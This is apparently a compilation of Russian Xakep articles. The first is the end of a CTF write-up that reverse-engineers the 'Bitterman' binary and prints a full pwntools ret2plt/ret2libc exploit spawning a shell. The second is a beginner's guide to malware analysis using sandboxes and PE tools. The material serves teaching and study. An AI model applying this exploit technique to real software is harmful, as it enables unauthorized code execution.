АНБ так любез но подари ло прос тым смер тным.

Ghidra

Ре верс‐инже нерим Bitterman в Ghidra

Ес ли  пос мотреть  на  псев докод  фун кций    и  ,  мож но  сос‐ 
тавить  такой  исходник  на  псев до‐C,  который  будет  отра жать  поведе ние
Bitterman.

main read_nbytes

// bitterman.c

int read_nbytes(char *dst,size_t nbytes) {
 int iVar1;
 ssize_t sVar2;
 long lVar3;
 int i;

 i = 0;
 while( true ) {
   if (nbytes <= (ulong)(long)i) {
     return i;
   }
   sVar2 = read(0,dst + i,1);
   if (sVar2 == 0) break;
   iVar1 = i + 1;
   lVar3 = (long)i;
   i = iVar1;
   if (dst[lVar3] == '\n') {
     return iVar1;
   }
 }
 return i;

}

int main(int argc,char **argv) {
 int iVar1;
 size_t nbytes;
 char buf [64];
 char username [64];
 size_t size;

 puts("> What\'s your name? ");
 fflush(stdout);
 read_nbytes(username,0x40);
 printf("Hi, %s\n",username);
 puts("> Please input the length of your message: ");
 fflush(stdout);
 __isoc99_scanf(&DAT_004008c4,&nbytes);
 puts("> Please enter your text: ");
 fflush(stdout);
 iVar1 = read_nbytes(buf,nbytes);  // <‐‐ УЯЗВИМЫЙ КОД
 if (iVar1 != 0) {
   puts("> Thanks!");
   fflush(stdout);
 }
 return 0;

}

Вто рой  вызов    про исхо дит  с  под кон троль ным  нам  зна чени ем
количес тва бай тов, которые нуж но счи тать, а раз мер буфера фик сирован —
64 бай та. Уве рен, ты уже понял, что нуж но делать!

read_nbytes

Ди нами чес кий ана лиз
За пус тим отладчик и рас счи таем точ ку переза писи RIP с помощью цик личес‐ 
кого пат терна.

Кор мим Bitterman пат терном де Брёй на

Ге нерим стро ку  в 500 сим волов и скар мли ваем прог рамме через  уяз вимый
input.

Счи таем офсет до RIP

Итак, нам нуж но 152 бай та для того, что бы доб рать ся до адре са воз вра та.

Тем ная магия pwntools
Век тор ата ки точ но такой же, как в тре ниро воч ном кей се номер три, и, что бы
не пов торять ся с поч ти таким же кодом экс пло ита, я покажу, как pwntools поз‐ 
воля ет прак тичес ки пол ностью авто мати зиро вать дей ствия наруши теля.

Что бы нем ного раз нооб разить наш девелоп мент, с помощью   под‐ 
весим про цесс Bitterman к localhost на порт   (ори гиналь ность тас ка сох‐ 
ранена),  что бы мож но было  под клю чать ся  к  нему  через  сокет  из  сосед него
тер минала.

socat
10103

 

 
 socat TCP‐LISTEN:10103,reuseaddr,fork EXEC:./bitterman$

Из‐за это го новов ведения я буду обра щать ся к про цес су с помощью фун кции
, а не  , как рань ше.pwnlib.tubes.remote pwnlib.tubes.process

Фа за 1. Return-to-PLT
Раз берем будущий спло ит  по  час тям. В  пер вой фазе  (Return‐to‐PLT),  как  ты
пом нишь, мы иска ли нуж ные гад жеты для того, что бы узнать реаль ный адрес
фун кции  .puts

# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Фаза 1. Return‐to‐PLT ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

bitterman = ELF('./bitterman')
rop = ROP(bitterman)

log.info('Фаза 1. Return‐to‐PLT')
rop.puts(bitterman.got['puts'])
log.success('Найдены адреса puts (PLT & GOT)')
rop.call(bitterman.symbols['main'])
log.success('Найден адрес main')
log.info('ROP:\n' + rop.dump())

junk = 'A' * (cyclic_find(unhex('6261616f')[::‐1]) ‐ 4) # 'A' * 152
log.success('Вычислено смещение последовательности де Брёйна: %s' % 
len(junk))

payload = junk + str(rop)

r = remote('localhost', '10103')
#p = process('./bitterman')

"""
gdb.attach(p, '''
init‐peda
start''')
"""

r.recvuntil('What\'s your name?')
r.sendline('snovvcrash')
r.recvuntil('Please input the length of your message:')
r.sendline('31337')
r.recvuntil('Please enter your text:')
r.clean()
raw_input('[?] Отправляю пейлоад?')
r.sendline(payload)
r.recvuntil('Thanks!')
received = r.recvuntil('What\'s your name?')[:8].strip()
leaked_puts = u64(received.ljust(8, '\x00'))
log.success('Слитый адрес puts@GLIBC: %s' % hex(leaked_puts))

В pwntools есть спе циаль ный класс  , который най дет за тебя все, что душе
угод но (разуме ется, в рам ках разум ного).

ROP

rop.puts(bitterman.got['puts'])
rop.call(bitterman.symbols['main'])

Эти ми дву мя стро ками я ини циали зирую ROP‐цепоч ку тре мя гад жетами: инс‐ 
трук ции    (находят ся  авто мати чес ки —  даже  ничего  не  нуж но
ука зывать в явном виде!), вызов   с «самим собой» в качес тве аргу мен та
(что бы стриг герить утеч ку адре са) и вызов  .

pop  rdi;  ret
puts

main

junk = 'A' * (cyclic_find(unhex('6261616f')[::‐1]) ‐ 4) # 'A' * 152

А здесь я на лету выс читываю нуж ный раз мер «мусор ной» стро ки (пом ним, что
он равен 152 бай там). Прав да,  что бы это сра бота ло, нуж но скор мить Bitter‐
man  цик личес кий  пат терн,  который  генери рует  pwntools  (а  не  PEDA —  они
раз лича ются), и узнать четыре млад ших бай та, лежащие в RSP (как мы делали
уже не один раз).

Сге нери ровать пат терн, который пред лага ет pwntools, мож но с помощью
такой прос той коман ды.

 

 
 python2 ‐c 'import pwn; print pwn.cyclic(500)'$

Пос ле  чего  я  вза имо дей ствую  с  уда лен ным  про цес сом:  отправ ляю  пей лоад
и извле каю «сли тый» адрес  .puts

Фа за 2. Return-to-libc
Во  вто рой фазе мы  про вора чива ем  уже  зна комую  тебе  ата ку  Return‐to‐libc,
которая так же отлично под дает ся авто мати зации.

# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Фаза 2. Return‐to‐libc ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

libc = ELF('/usr/lib/x86_64‐linux‐gnu/libc.so.6')
libc.address = leaked_puts ‐ libc.symbols['puts']
rop2 = ROP(libc)

log.info('Фаза 2. Return‐to‐libc')
rop2.system(next(libc.search('/bin/sh\x00')))
log.success('Составлен пейлоад для атаки ret2libc')
log.info('ROP2:\n' + rop2.dump())

payload2 = junk + str(rop2)

#r.recvuntil('What\'s your name?')
r.sendline('snovvcrash')
r.recvuntil('Please input the length of your message:')
r.sendline('31337')
r.recvuntil('Please enter your text:')
r.clean()
raw_input('[?] Отправляю пейлоад2?')
r.sendline(payload2)
r.recvuntil('Thanks!')
r.clean()

r.interactive()

Ос тановим ся на самых инте рес ных момен тах.

libc.address = leaked_puts ‐ libc.symbols['puts']

Здесь  я  прис ваиваю  объ екту  libc  реаль ный  адрес  заг рузки  биб лиоте ки
(получен ный в пер вой фазе), что бы pwntools знал, где искать либу.

rop2.system(next(libc.search('/bin/sh\x00')))

А пос ле соз даю вто рой объ ект клас са   и напол няю его сно ва тре мя гад‐ 
жетами:  инс трук ции  ,  адрес  стро ки    и  вызов  биб‐ 
лиотеч ной фун кции  . Для это го мне нуж на все го одна стро ка.

ROP
pop  rdi;  ret /bin/sh

system
Вот пол ный код экс пло ита.

#!/usr/bin/env python
# ‐*‐ coding: utf‐8 ‐*‐

# Использование: python exploit.py [DEBUG]

from pwn import *

context.arch      = 'amd64'
context.os        = 'linux'
context.endian    = 'little'
context.word_size = 64
context.terminal  = ['tmux', 'new‐window']

# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Фаза 1. Return‐to‐PLT ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

bitterman = ELF('./bitterman')
rop = ROP(bitterman)

log.info('Фаза 1. Return‐to‐PLT')
rop.puts(bitterman.got['puts'])
log.success('Найдены адреса puts (PLT & GOT)')
rop.call(bitterman.symbols['main'])
log.success('Найден адрес main')
log.info('ROP:\n' + rop.dump())

junk = 'A' * (cyclic_find(unhex('6261616f')[::‐1]) ‐ 4) # 'A' * 152
log.success('Вычислено смещение последовательности де Брёйна: %s' % 
len(junk))

payload = junk + str(rop)

r = remote('localhost', '10103')
#p = process('./bitterman')

"""
gdb.attach(p, '''
init‐peda
start''')
"""

r.recvuntil('What\'s your name?')
r.sendline('snovvcrash')
r.recvuntil('Please input the length of your message:')
r.sendline('31337')
r.recvuntil('Please enter your text:')
r.clean()
raw_input('[?] Отправляю пейлоад?')
r.sendline(payload)
r.recvuntil('Thanks!')
received = r.recvuntil('What\'s your name?')[:8].strip()
leaked_puts = u64(received.ljust(8, '\x00'))
log.success('Слитый адрес puts@GLIBC: %s' % hex(leaked_puts))

# ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Фаза 2. Return‐to‐libc ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

libc = ELF('/usr/lib/x86_64‐linux‐gnu/libc.so.6')
libc.address = leaked_puts ‐ libc.symbols['puts']
rop2 = ROP(libc)

log.info('Фаза 2. Return‐to‐libc')
rop2.system(next(libc.search('/bin/sh\x00')))
log.success('Составлен пейлоад для атаки ret2libc')
log.info('ROP2:\n' + rop2.dump())

payload2 = junk + str(rop2)

#r.recvuntil('What\'s your name?')
r.sendline('snovvcrash')
r.recvuntil('Please input the length of your message:')
r.sendline('31337')
r.recvuntil('Please enter your text:')
r.clean()
raw_input('[?] Отправляю пейлоад2?')
r.sendline(payload2)
r.recvuntil('Thanks!')
r.clean()

r.interactive()

Вы пол ним то, что мы нат ворили, и получим наконец свой шелл.

Bitterman has been PWNed!

На этом все с Bitterman. В чет вертой (и зак лючитель ной) час ти серии мы раз‐ 
берем тач ку Smasher с Hack The Box, изю мин кой про хож дения которой стал
низ коуров невый спло итинг веб‐сер вера.

WWW

Весь код, исполь зуемый в серии «В королевс тве
PWN», мож но най ти  .в репози тории на GitHub

https://github.com/NationalSecurityAgency/ghidra
https://github.com/snovvcrash/xakepru/tree/master/pwn-kingdom
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ВЗЛОМ

Ес ли  ты  ког да‐нибудь  стал кивал ся
с вирусом, то навер няка пом нишь, что впе‐ 
чат ления не из при ятных. Но есть спо собы
пой мать  и  пре пари ровать  вре донос ную
прог рамму.  Имен но  этим  и  занима ются
вирус ные  ана лити ки.  Сегод ня  я  поз наком‐ 
лю тебя с аза ми этой работы. Мы прой дем‐ 
ся  по  всем  основным  эта пам  ана лиза
и  пос мотрим,  как  поль зовать ся  про фес‐ 
сиональ ными  инс тру мен тами.  Я  пос тара‐ 
юсь  по  дороге  объ яснять  основную  тер‐ 
миноло гию.

ПЕРВЫЕ ШАГИ
Итак, пред ста вим для начала, что у нас на руках заражен ная машина. Пер вым
делом  нуж но  выпол нить  три  основных  дей ствия:  изо лиро вать  компь ютер
от дру гих в сети, сде лать дамп памяти и снять образ дис ка.

При отклю чении заражен ного компь юте ра от сети сто ит пом нить, что если
мы  име ем  дело  с  вирусом‐шиф роваль щиком,  то  есть  шанс  потерять  поль‐ 
зователь ские дан ные. Мал варь может начать шиф ровать их, ког да прер вется
соеди нение с сетью, поэто му пер вым делом оце ни, нас коль ко важ ны дан ные
на заражен ном ПК и сто ит ли рис ковать.

Луч ше  все го  будет  соз дать  для  каран тина  вир туаль ную  сеть  (VLAN)
с  выходом  в  интернет  и  перемес тить  туда  заражен ные  ПК.  В  круп ной  ком‐ 
пании это пот ребу ет сла жен ных дей ствий сот рудни ков служ бы кибер безопас‐ 
ности  и  сетевых  адми нис тра торов,  в  мел кой  —  раз нопла новых  навыков
единс твен ного сисад мина.

Даль ше  необ ходимо  снять  дамп  памяти.  Дела ется  это  с  самого  начала,
потому  что  при  копиро вании жес тко го  дис ка  пот ребу ется  вык лючить  компь‐ 
ютер  и  содер жимое  опе ратив ной  памяти  будет  потеря но.  Прог рамму,  сни‐ 
мающую  дамп,  луч ше  все го  запус кать  с  внеш него  носите ля,  что бы
не оставлять лиш них сле дов на жес тком дис ке — дан ные с него понадо бят ся
нам в неиз менен ном виде.

Что бы  мал варь  не  успе ла  сре аги ровать  на  вык лючение  сис темы,  про ще
все го  выдер нуть  кабель  питания.  Метод,  конеч но,  вар вар ский,  зато  гаран‐ 
тиру ет момен таль ное отклю чение. Сох ранить дан ные на жес тком дис ке нет‐ 
ронуты ми  для  нас  важ нее,  чем  бес поко ить ся  об  исправ ности  дру гих  ком‐ 
понен тов.

Даль ше запус тим ПК, исполь зуя заг рузоч ный носитель с любой опе раци‐ 
онной сис темой в режиме forensic и ПО для получе ния обра за жес тко го дис‐ 
ка. Чаще все го исполь зует ся образ дис ка в фор мате E01  (Encase  Image File
Format). Его под держи вает боль шое чис ло при ложе ний как для Windows,  так
и для Linux.

INFO

Ре жим forensic — это заг рузка без мон тирова ния
физичес ких  дис ков.  Это  поз воля ет  исклю чить
вне сение любых изме нений в иссле дуемый диск.
Про фес сиональ ные  кри мина лис ты  так же  исполь‐ 
зуют  устрой ства,  поз воля ющие  заб локиро вать
любые попыт ки обра щения к дис ку для записи.

ИЗУЧЕНИЕ ДАМПОВ
Дам пы памяти и дис ка, ско рее все го, содер жат всё, что нам необ ходимо, —
тело  вре донос ной  прог раммы  и  оставлен ные  ей  сле ды.  Можем  прис тупать
к поис ку.

Я  рекомен дую  начинать  с  изу чения  копии  дис ка,  а  дамп  памяти  исполь‐ 
зовать, если на дис ке не удас тся обна ружить никаких сле дов либо как допол‐ 
нитель ный  источник.  При  ана лизе  содер жимого  дис ка  в  пер вую  оче редь
обра щаем вни мание на авто заг рузку, пла ниров щик задач и началь ный сек тор
заг рузки дис ка.

WWW

На сай те Microsoft есть докумен тация по 
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ав тозаг‐ 
рузке сер висов биб лиотек

Что бы  понять,  каким  путем  мал варь  про ник ла  на  компь ютер,  сто ит  иссле‐ 
довать  вре мя  соз дания  и  изме нения  фай лов  на  дис ке,  исто рию  бра узе ра
и поч товый архив поль зовате ля. Если получит ся уста новить хотя бы при мер‐ 
ное вре мя зараже ния, то это будет плю сом. В интерне те есть неп лохие под‐ 
борки путей в фай ловой сис теме и реес тре, на которые сто ит обра щать вни‐ 
мание в пер вую оче редь (вот, нап ример, неп лохая   об этом).статья Group‐IB

Из  дам па  памяти  ты  тоже  можешь  извлечь  некото рую  уни каль ную
информа цию,  нап ример  какие были  откры ты  докумен ты  и  вклад ки  бра узе ра
в  момент  зараже ния,  какие  были  активные  сетевые  под клю чения,  рабочие
про цес сы (в том чис ле скры тые).

АНАЛИЗ ФАЙЛА
Ког да у тебя на руках ока жет ся файл, вызыва ющий подоз рения, нуж но будет
как‐то  удос товерить ся,  что  это  и  есть  экзем пляр  вре донос ной  прог раммы.
Конеч но, если это извес тный вирус, то его мож но выявить анти виру сом (для
про вер ки  сра зу  все ми  анти вирус ными  движ ками  есть  сайт  ).
Но  все  чаще  попада ются  уни каль ные  слу чаи,  не  детек тиру емые  анти вирус‐ 
ными прог рамма ми. Такие вре донос ные прог раммы име ют ста тус FUD (Fully
UnDetectable).

virustotal.com

Так же  нель зя  исклю чать,  что  ты  стол кнул ся  с  угро зой  нулево го  дня  (0‐
day) — той, о которой еще никому не извес тно (и у раз работ чиков есть ноль
дней на ее устра нение — отсю да и наз вание). Мал варь,  которая экс плу ати‐ 
рует зиродеи и име ет ста тус FUD, пред став ляет серь езную угро зу не толь ко
для отдель ных компь юте ров, но и для целых ком паний.

Пе ред началом ана лиза подоз ритель ного фай ла необ ходимо сде лать сле‐ 
дующее.
1. Под готовить  стенд  для  иссле дова ния —  вир туаль ную машину  с  уста нов‐ 
ленной  опе раци онной  сис темой,  под ходящей  для  запус ка  иссле дуемо го
фай ла.

2. Нас тро ить  выход  в  интернет,  желатель но  обес печив  скры тие  сво его
реаль ного  IP‐адре са,  что бы  не  потерять  связь  с  сер верами  управле ния
мал вари  (тебя  могут  рас познать  как  вирус ного  ана лити ка  и  огра ничить
дос туп, что бы скрыть какие‐то фун кции).

3. Сде лать сни мок (snapshot) пер вично го сос тояния вир туаль ной машины.

INFO

Ни  в  коем  слу чае  не  под клю чай  стенд  в  кор‐ 
поратив ную  сеть —  это может  выз вать мас совое
зараже ние дру гих компь юте ров.

Су щес тву ет  два  под хода  к  ана лизу  ПО  —  динами чес кий  и  ста тичес кий.
Как пра вило, для луч шего эффекта исполь зуют более под ходящий для ситу‐ 
ации  метод  или  оба  метода  одновре мен но.  Нап ример,  может  быть  необ‐ 
ходимо  изу чить  поведе ние  вре донос ной  прог раммы,  что бы  выявить  харак‐ 
терные мар керы без ана лиза алго рит мов. Поэто му выбор методов и инс тру‐ 
мен тов может менять ся в ходе ана лиза.

Ста тичес кий ана лиз
Нач нем  со  ста тичес кого  ана лиза,  пос коль ку  он  не  тре бует  запус кать  вре‐ 
донос ный код и точ но не вызовет зараже ния на тво ем компь юте ре.

Рас смот рим началь ные заголов ки исполня емо го фай ла для Windows.
1. DOS‐заголо вок фай ла, так же извес тный как DOS‐заг лушка. Бла года ря ему
воз можен  запуск  прог раммы  в DOS  (обыч но  все го  лишь  выводит ся  над‐ 
пись  This  program  cannot  be  run  in  DOS  mode).  Мож но  уви деть  начало
заголов ка по харак терным бук вам  .MZ

За голо вок исполня емо го фай ла

1. Сра зу  же  за  пер вым  идет  исполь зуемый  сов ремен ными  ОС  заголо вок
со  все ми  необ ходимы ми  парамет рами  для  исполня емо го  фай ла  (нап‐ 
ример, сме щение до таб лицы импорта/экспор та, начало сек ции исполня‐ 
емо го  кода).  Начало  заголов ка  мож но  най ти  по  харак терным  бук вам  PE,
а опи сание фор мата есть  .на сай те Microsoft

Мож но  ска зать,  что  заголо вок  исполня емо го  фай ла  содер жит  спра воч ник
о  том,  где и что имен но находит ся внут ри самого фай ла,  какие раз решения
дол жны быть выданы сек циям, все нас трой ки для кор рек тной работы, поэто‐ 
му ана лиз заголов ка может дать цен ную пер воначаль ную информа цию.

Кро ме это го, необ ходимо прос мотреть, нет ли в фай лах стро ковых дан ных.
По ним мож но впос ледс твии опре делять подоб ные фай лы или даже получить
важ ную информа цию вро де адре сов сер веров управле ния.

Пе ред  раз работ чиками мал вари  всег да  сто ит  задача  как мож но  силь нее
мас кировать  свое  тво рение  и  вся чес ки  усложнять  обна руже ние  и  ана лиз.
Поэто му очень час то исполь зуют ся упа ков щики для исполня емых фай лов.

INFO

Упа ков щики  ―  ути литы  для  сжа тия  и  шиф‐ 
рования  исполня емых  фай лов.  Исполь зуют ся
не  толь ко  соз дателя ми  мал вари,  но  и  раз работ‐ 
чиками  легитим ного  ПО  для  защиты  от  взло ма
сво их  прог рамм.  Самопис ные  упа ков щики,  спе‐ 
циаль но  соз данные  для  зат рудне ния  ана лиза,
не  всег да  детек тиру ются  прог рамма ми  и  пот‐ 
ребу ют  от  ана лити ка  допол нитель ных  дей ствий,
что бы снять упа ков ку.

Бо лее глу бокий (и в то же вре мя слож ный) ана лиз любых исполня емых фай‐ 
лов  ―  это  при мене ние  дизас сем бле ров.  Ассем блер ный  код  понят нее
для  челове ка,  чем машин ный,  но  из‐за  объ емов  разоб рать ся  в  нем  быва ет
далеко не так прос то. В отдель ных слу чаях воз можно вос ста новить исходный
код прог рамм на язы ке высоко го уров ня путем деком пиляции — если удас тся
опре делить, какой исполь зовал ся ком пилятор и алго ритм обфуска ции.

Сло варь тер минов
 ―  прог раммы  для  перево да  машин ного  кода  в  отно‐ 

ситель но удо бочи таемый и понят ный язык ассем бле ра.
• Ди зас сем бле ры

 — вос ста нов ление исходно го кода прог раммы на изна‐ 
чаль ном язы ке прог рамми рова ния.

• Де ком пиляция

 ― изме нение исходно го кода прог раммы так, что его фун‐ 
кци ональ ность  сох раня ется,  но  сам  он  усложня ется  и  в  нем  появ ляет ся
ничего не добав ляющий мусор.

• Об фуска ция

 ― прог раммы для авто мати зации обфуска ции.• Об фуска торы

 ―  как пра вило,  так называ ют нефор маль ный язык опи сания
алго рит мов,  который поз воля ет пред ста вить иссле дуемый  код на ассем‐ 
бле ре в более чита емом виде. При перево де в псев докод малоз начимые
эле мен ты алго рит ма отбра сыва ются.

• Псев докод

Ана лиз  кода на ассем бле ре ―  тру доем кий про цесс,  который  тре бует боль‐ 
ших зат рат вре мени и хороших навыков низ коуров невого прог рамми рова ния,
поэто му для быс тро го ана лиза мож но пре обра зовать получен ный код в псев‐ 
докод.  Читать  псев докод более  удоб но,  чем  ассем блер,  это мож но  уви деть
по  сле дующе му  при меру,  где  сле ва  ори гиналь ный  код  на  ассем бле ре,
а спра ва — псев докод.

Код на ассем бле ре

Псев докод

Ди нами чес кий ана лиз
Чте ние  псев докода  или  кода  на  ассем бле ре  подоб но  рас путыва нию  клуб ка
ниток —  кро пот ливо  и  тру доем ко.  Поэто му  мож но  вос поль зовать ся  дру гим
видом  ана лиза  —  динами чес ким.  Динами чес кий  ана лиз  под разуме вает
запуск исполня емо го фай ла и отсле жива ние выпол няемых им дей ствий, таких
как  обра щение  к  вет кам  реес тра,  отправ ка  и  получе ние  дан ных  по  сети,
работа с фай лами.

WARNING

Ди нами чес кий  ана лиз  пред полага ет  запуск
иссле дуемо го  фай ла.  Это  необ ходимо  делать
на  вир туаль ной  машине,  изо лиро ван ной  от  дру‐ 
гих  компь юте ров,  что бы  избе жать  воз можнос ти
рас простра нения вре доно са по сети.

Ана лизи ровать  поведе ние  прог раммы  мож но,  отсле живая  и  перех ватывая
запуск при ложе ний на уров не ОС либо под клю чив шись к работа юще му про‐ 
цес су и перех ватывая вызовы биб лиотек и API. А что бы деталь но разоб рать
про цесс  выпол нения  прог раммы,  луч ше  все го  вос поль зовать ся  одним
из отладчи ков.

INFO

От ладчик ―  ути лита  или  набор  ути лит,  который
исполь зует ся  для  тес тирова ния  и  отладки
целево го при ложе ния. Отладчик может ими тиро‐ 
вать  работу  про цес сора,  а  не  запус кать  прог‐ 
рамму  на  нас тоящем  железе.  Это  дает  более
высокий  уро вень  кон тро ля  над  выпол нени ем
и поз воля ет оста нав ливать прог рамму при задан‐ 
ных  усло виях.  Боль шинс тво  отладчи ков  так же
спо соб ны  запус кать  выпол нение  иссле дуемо го
кода в пошаго вом режиме.

Не важ но,  исполь зуешь  ты  отладчик  или  какую‐то  прог рамму,  которая  поз‐ 
воля ет  кон тро лиро вать  вызовы API, — работать при дет ся  в руч ном режиме.
А  это  зна чит,  что  пот ребу ются  углублен ные  зна ния  опе раци онной  сис темы,
зато ты получишь самые пол ные дан ные об объ екте иссле дова ния.

Од нако  ана лиз  мож но  и  авто мати зиро вать.  Для  это го  исполь зуют ся  так
называ емые песоч ницы (sandbox) — тес товые сре ды для запус ка ПО.

Пе соч ницы делят ся на два  типа: офлай новые и онлай новые. Для получе‐ 
ния  наибо лее  пол ной  кар тины  я  рекомен дую  исполь зовать  сра зу  нес коль ко
источни ков дан ных и не исклю чать какой‐то из типов песоч ниц. Чем боль ше
информа ции ты соберешь, тем луч ше.

Продолжение статьи →
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ПОСМОТРИ В ГЛАЗА
МАЛВАРИ

ГАЙД ПО РАБОТЕ С ВРЕДОНОСНЫМИ
ФАЙЛАМИ ДЛЯ НОВИЧКОВ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

При мер ана лиза
Пос коль ку  ана лиз  мал вари  всег да  упи рает ся  в  прак тичес кие  навыки,  эта
статья была бы непол ной без демонс тра ции его на при мере. Про ведем экс‐ 
пресс‐ана лиз и уста новим при роду исполня емо го фай ла.

Для  начала  опре делим ся  с  пос ледова тель ностью  дей ствий.  Вот  что  нам
нуж но сде лать:

по лучить хеш‐сум му с фай ла;•
вос поль зовать ся онлай новым сер висом для про вер ки фай ла;•
соб рать ста тичес кие дан ные из фай ла;•
про верить файл в песоч нице (локаль ной или в интерне те);•
за пус тить файл в вир туаль ной сре де для отсле жива ния выпол няемых дей‐ 
ствий;

•

снять обо лоч ки и получить раз верну тый в памяти вре донос;•
про ана лизи ровать код в дизас сем бле ре.•

До пус тим, нам необ ходимо иссле довать неиз вес тный файл  .Sample.exe
Для  хра нения  фай ла  рекомен дую  пер вым  делом  изме нить  рас ширение,

нап ример на  , что бы избе жать слу чай ного запус ка.Sample._exe
Де лаем  сни мок  (snapshot)  вир туаль ной  машины,  на  которой  и  будем

запус кать исполня емый файл (изна чаль ное сос тояние сис темы нам еще при‐ 
годит ся), и счи таем хеш‐сум му фай ла.

По луче ние хеш‐сум мы фай ла

Ско пиру ем резуль тат и вос поль зуем ся   для про вер ки.virustotal.com

Про вер ка хеш‐сум мы на virustotal.com

Как мож но  уви деть  из  скрин шота  выше,  вер дикт  VT ―  54  из  70. С  высокой
долей веро ятности это вре донос ное ПО, но давай не будем на этом оста нав‐ 
ливать ся и вос поль зуем ся дру гим сер висом —  .Any.run

За пуск фай ла на Any.run

Ви дим, что он выда ет схо жий резуль тат (смот ри в пра вом ниж нем углу). Кро‐ 
ме  того,  мож но  соб рать  допол нитель ные  дан ные  о  том,  что  делала  прог‐ 
рамма. А имен но:

пос ле стар та про дуб лирова ла себя в памяти;•
об ратилась к сер веру 208.91.199.224 по пор ту 587. На плат форме мож но
пос мотреть  сетевой  дамп  вза имо дей ствия  с  сер вером  управле ния  мал‐ 
варью (их час то называ ют Command & Control, C2 или C&C);

•

до бави ла зап рет на запуск дис петче ра задач;•
ско пиро вала себя в отдель ную поль зователь скую дирек торию;•
до бави ла себя в авто заг рузку.•

Да же если бы вер дикт не ука зал на воз можную угро зу, отклю чение дис петче‐ 
ра  задач  и  добав ление  в  авто заг рузку  не  сулит  ничего  хороше го  для  поль‐ 
зовате ля,  осо бен но  если  учесть,  что  все  это  было  сде лано  сра зу  же  пос ле
запус ка.

Итак,  уже два сер виса под твер дили,  что это мал варь. Про дол жаем. Вос‐ 
поль зуем ся инс тру мен том под наз вани ем DIE.

От кры ваем файл с помощью DIE
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  (DIE)  ―  ути лита,  поз воля ющая
импорти ровать  и  экспор тировать  спи сок  ресур‐ 
сов,  извле кать  манифест  и  вер сию  ПО,  прос‐ 
матри вать  вычис ления  энтро пии.  Есть  воз‐ 
можность добавить свои собс твен ные алго рит мы
обна руже ния  или  изме нить  сущес тву ющие.
Это  дела ется  с  помощью  скрип тов  на  язы ке,
напоми нающем JavaScript.

Detect  it  easy

Как мож но видеть на скрин шоте, мал варь написа на на Visual Basic. Ты лег ко
нагуг лишь  струк туру  прог рамм  на  Visual  Basic  6.0  и  опи сание  прин ципов  их
работы. Если корот ко, то запус кают ся они в вир туаль ной сре де, а зна чит, нам
нуж но  пой мать  момент,  ког да  этот  код  будет  рас пакован  в  памяти.  Так же
мож но  про ана лизи ровать  струк туру  фай ла  и  получить  наз вание  про екта,
исполь зован ные фор мы и про чие дан ные.

Дру гой  спо соб  узнать,  что  мал варь  написа на  на  Visual  Basic, —  исполь‐ 
зовать CFF Explorer.
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  ―  набор  инс тру мен тов  с  еди ным
минима лис тичным  интерфей сом,  который  поз‐ 
воля ет  прос матри вать  и  при  необ ходимос ти
редак тировать все сек ции заголов ка исполня емо‐ 
го  фай ла.  Здесь  же  мож но  уви деть  импорты
и  экспор ты  фун кций  из  биб лиотек,  перечень
самих биб лиотек и адре сацию сек ций.

CFF  Explorer

Таб лица импорта фай ла в CFF Explorer

В  этом  слу чае  мы  уви дим  харак терную  импорти рован ную  биб лиоте ку —  ее
наличие говорит о том, что исполь зуют ся фун кции Visual Basic.

Сле дующим  шагом  запус каем  Hiew  и,  перей дя  на  начало  исполня емо го
кода, обна ружи ваем вызов фун кции из биб лиоте ки.
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 ― редак тор дво ично го кода со встро енным
дизас сем бле ром  для  x86,  x86‐64  и  ARM.  Так же
им  мож но  откры вать  физичес кие  и  логичес кие
дис ки как файл. Hiew ― «лег ковес ная» (в отли чие
от  IDA)  и  при  этом  очень  мощ ная  прог рамма,
которая поз воля ет сос тавить пер вое впе чат ление
об иссле дуемом объ екте.

Hiew

Прос мотр содер жимого в фай ле Hiew

На  дан ном  эта пе  нам  дос таточ но  знать,  что  при  запус ке  будет  исполнять ся
код на Visual Basic.

Приш ло  вре мя  поп робовать  вытащить  код  и  зафик сировать  поведе ние
при запус ке. Для это го нам пот ребу ется при готов ленная вир туаль ная машина
с Windows,   и API Monitor.Process Dump
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  ―  прог рамма,  которая  поз воля ет
кон тро лиро вать  вызовы  фун кций  API  при ложе‐ 
ниями  и  сер висами  в  Windows,  перех ватыва ет
информа цию о запус ке при ложе ний или под клю‐ 
чает ся  к  выпол няемо му  про цес су,  что бы  прос‐ 
мотреть исполь зуемые биб лиоте ки и вызовы API.

API  Monitor

В API Monitor запус каем   и получа ем сле дующую кар тину: стар тует
еще один про цесс, пос ле чего пер вый завер шает ся, далее прог рамма добав‐ 
ляет ся в авто заг рузку.

Sample.exe

Прос мотр API‐вызовов фай ла при помощи API Monitor

На ходим ука зан ный исполня емый файл, это пер воначаль ный файл, записан‐ 
ный в дирек торию поль зовате ля.

Об наружи ли копию в авто заг рузке, на дис ке, откры ваем файл в DIE

Прог рамма еще и отклю чает воз можность выз вать дис петчер задач.

Прос мотр API‐вызовов фай ла при помощи API Monitor

Это го уже впол не дос таточ но, что бы с уве рен ностью ска зать, что файл вре‐ 
донос ный.

Выг рузим  из  опе ратив ной  памяти  работа ющий  про цесс.  Вос поль зуем ся
ути литой для выг рузки дам па про цес са ― Process Dump. PID берем из дан ных
API Monitor, он отоб ража ется рядом с име нем про цес са.

Ис поль зование ути литы Process Dump

В резуль тате будут выг ружены все биб лиоте ки, которые исполь зует при ложе‐ 
ние.  Так же  обна ружи ваем,  что  в  адресном  прос транс тве,  кро ме  основно го
исполня емо го фай ла, есть еще и спря тан ные, это мож но уви деть ниже, в име‐ 
ни фай ла есть сло во hiddenmodule.

Ре зуль тат работы ути литы Process Dump

Про веря ем каж дый получен ный исполня емый файл в DIE.

От кры ваем каж дый файл в DIE

Ви дим, что два из трех фай лов написа ны на C++, а один на VB.NET.
Об ратим  вни мание  на  при ложе ние,  написан ное  на  VB.NET.  Его  мож но

открыть любым отладчи ком для работы с .NET, нап ример  . И мы получим
чита емый код на Visual Basic, оста лось толь ко убрать обфуска цию. В дан ном
слу чае  алго ритм  усложни ли,  добавив  мно жес тво  перехо дов  по  коду
при помощи коман ды  .

dnSpy

GoTo

Прос мотр кода в dnSpy

